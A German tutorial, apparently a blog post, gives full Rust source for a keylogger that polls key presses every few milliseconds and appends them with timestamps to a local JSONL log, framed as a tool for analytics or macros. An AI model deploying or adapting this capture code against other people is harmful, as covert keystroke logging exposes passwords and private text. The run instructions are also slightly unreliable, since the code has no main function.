Einen Keylogger mit Rust erstellen

Einführung in die Erstellung eines Keyloggers mit Rust.

Ein Keylogger ist ein Programm oder Tool, das Tastatureingaben aufzeichnet. Aus Sicherheitsperspektive werden Keylogger oft als eine Art Malware betrachtet, aber es gibt viele Anwendungsfälle jenseits der Sicherheit.

Zum Beispiel können Sie durch die Aufzeichnung von Benutzereingaben diese für Datenanalyse und maschinelles Lernen basierend auf Benutzer- oder eigenen Eingaben verwenden, oder sie kann als Produktivitätstool genutzt werden. Oder Sie könnten es als Makro-Tool verwenden, das Tastenkombinationen oder Hotkeys basierend auf Tastatureingaben implementiert.

Die Vorteile der Erstellung eines Keyloggers mit Rust umfassen, dass Rust wie C eine Low-Level-Sprache ist, sodass es viele Bibliotheken zum Erfassen von Tastatureingaben gibt. Da Rust im Vergleich zu C eine höhere Speichersicherheit aufweist, können Sie beim Erstellen eines Keyloggers Probleme wie Speicherlecks und Pufferüberläufe vermeiden.

Erstellen eines Keylogger-Tools mit Rust

Unten ist der Quellcode für das Programm.

use chrono::prelude::*;
use device_query::{DeviceQuery, DeviceState};
use std::fs::OpenOptions;
use std::io::Write;
use serde::Serialize;

#[derive(Serialize)]
struct Log {
    unix: i64,
    delta: i64,
    keyboard: Vec<String>,
}

/// Keylogger launch function
pub fn run(path: String) {
    let device_state = DeviceState::new();

    let mut prev_keys = vec![];
    let mut prev_date: DateTime<Local> = Local::now();
    let path = format!("{}.jsonl", path);

    let mut file = OpenOptions::new()
        .create(true)
        .append(true)
        .open(path)
        .expect("Failed to open file");

    loop {
        let local: DateTime<Local> = Local::now();
        let unix = local.timestamp_millis();
        let delta = local.timestamp_millis() - prev_date.timestamp_millis();

        let keys = device_state.get_keys();
        if keys != prev_keys && !keys.is_empty() {
            let log = serde_json::to_string(&Log {
                // time: local,
                unix,
                delta,
                keyboard: keys.iter().map(|key| key.to_string()).collect(),
            }).unwrap();

            println!("{}", log);

            writeln!(file, "{}", log).expect("Failed to write to file");

            prev_date = local;
        }
        prev_keys = keys;

        std::thread::sleep(std::time::Duration::from_millis(10));
    }
}

Speichern Sie das Obige in einer Datei (z.B. main.rs) und führen Sie es mit cargo run aus, um Tastatureingaben aufzuzeichnen.

Protokolle werden im JSONL-Format gespeichert. Das JSONL-Format ist eine Textdatei, in der jede Zeile ein JSON-Objekt ist. Das JSONL-Format hat die Merkmale einer kleineren Dateigröße und schnelleren Lesevorgängen im Vergleich zum JSON-Format. Es ist auch einfach zu parsen, sodass es mit Datenanalyse und maschinellem Lernen verbunden werden kann.

Das war die Einführung.